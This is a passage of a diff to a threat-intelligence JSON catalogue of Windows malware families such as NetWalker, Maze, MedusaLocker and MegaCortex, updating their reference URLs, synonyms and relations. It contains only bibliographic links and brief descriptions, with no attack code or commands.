"https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", - "https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", - "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", - "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", - "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", - "https://www.youtube.com/watch?v=q8of74upT_g", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", - "https://www.ic3.gov/media/news/2020/200929-2.pdf", - "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", - "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://lopqto.me/posts/automated-dynamic-import-resolving", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", + "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", + "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", + "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", + "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html", + "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", + "https://zengo.com/bitcoin-ransomware-detective-ucsf/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://zero2auto.com/2020/05/19/netwalker-re/", + "https://www.ic3.gov/media/news/2020/200929-2.pdf", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://zengo.com/bitcoin-ransomware-detective-ucsf/", - "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html" + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", + "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" ], "synonyms": [ "Koko Ransomware", @@ -30678,11 +32407,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o", - "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/", + "https://blog.group-ib.com/task", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf", "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", - "https://blog.group-ib.com/task" + "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/" ], "synonyms": [], "type": [] @@ -30695,8 +32424,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos", - "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos", - "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/", + "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos" ], "synonyms": [], "type": [] @@ -30709,10 +32438,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs", - "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html", - "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", + "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html" ], "synonyms": [], "type": [] @@ -30734,13 +32463,14 @@ "value": "MakLoader" }, { - "description": "", + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", "https://twitter.com/siri_urz/status/1221797493849018368", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/" + "https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11" ], "synonyms": [], "type": [] @@ -30753,9 +32483,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub", - "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/", + "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html", "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/", - "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html" + "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/" ], "synonyms": [], "type": [] @@ -30781,9 +32511,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/", "https://www.ic3.gov/Media/News/2021/210323.pdf", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://securelist.com/the-return-of-mamba-ransomware/79403/" ], "synonyms": [ @@ -30816,9 +32546,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf", "https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2", - "https://www.youtube.com/watch?v=NFJqD-LcpIg", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf" + "https://www.youtube.com/watch?v=NFJqD-LcpIg" ], "synonyms": [ "junidor", @@ -30853,15 +32583,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "25db921d-d753-4fb1-b51b-961d7fdae6f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "13b0d9ff-0be0-4539-8c86-dfca7a0e79f6", "value": "ManItsMe" }, @@ -30870,8 +32591,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka", - "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", - "https://github.com/avast/ioc/tree/master/Manjusaka" + "https://github.com/avast/ioc/tree/master/Manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html" ], "synonyms": [], "type": [] @@ -30902,15 +32623,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "bf08965f-03a5-4cf6-83fb-8d3c9e9398ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8a97307f-a029-4c43-88e1-debed2b80b14", "value": "MAPIget" }, @@ -30919,8 +32631,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], "synonyms": [], @@ -30934,9 +32646,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", "https://www.us-cert.gov/ics/advisories/ICSA-10-090-01", - "https://defintel.com/docs/Mariposa_Analysis.pdf" + "https://defintel.com/docs/Mariposa_Analysis.pdf", + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" ], "synonyms": [ "Autorun", @@ -30981,23 +32693,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer", - "https://x-junior.github.io/malware%20analysis/MarsStealer/", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", - 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"https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", + "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", + "https://sites.temple.edu/care/ci-rw-attacks/", + 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"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", + "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", + "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", - "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", - "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", - "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", - "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", - "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", - "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/" + "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/", + "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", + "https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", + "https://oag.ca.gov/system/files/Letter%204.pdf" ], "synonyms": [ "ChaCha" @@ -31310,9 +33020,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock", - "http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html", "https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d", "https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/", + "http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html", "https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100" ], "synonyms": [ @@ -31341,10 +33051,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi", - "https://www.symantec.com/connect/blogs/bios-threat-showing-again", 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"https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/", "https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/", "https://news.drweb.com/show/?i=10302&lng=en" ], @@ -31404,30 +33115,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://www.cybereason.com/blog/medusalocker-ransomware", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-3-analysing-medusalocker-ransomware/", "https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html", - "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-181a", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", - "https://blog.talosintelligence.com/2020/04/medusalocker.html", - "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", - "https://twitter.com/siri_urz/status/1215194488714346496?s=20", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", + "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://blog.cyble.com/2023/03/15/unmasking-medusalocker-ransomware/", + "https://asec.ahnlab.com/en/48940/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-181a", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://blog.talosintelligence.com/2020/04/medusalocker.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.cybereason.com/blog/medusalocker-ransomware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/" + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/", + "https://twitter.com/siri_urz/status/1215194488714346496?s=20" ], "synonyms": [ "AKO Doxware", @@ -31444,26 +33159,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex", - "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", - "https://blog.malwarebytes.com/detections/ransom-megacortex/", - "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", + "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", "https://threatpost.com/megacortex-ransomware-mass-distribution/146933/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - 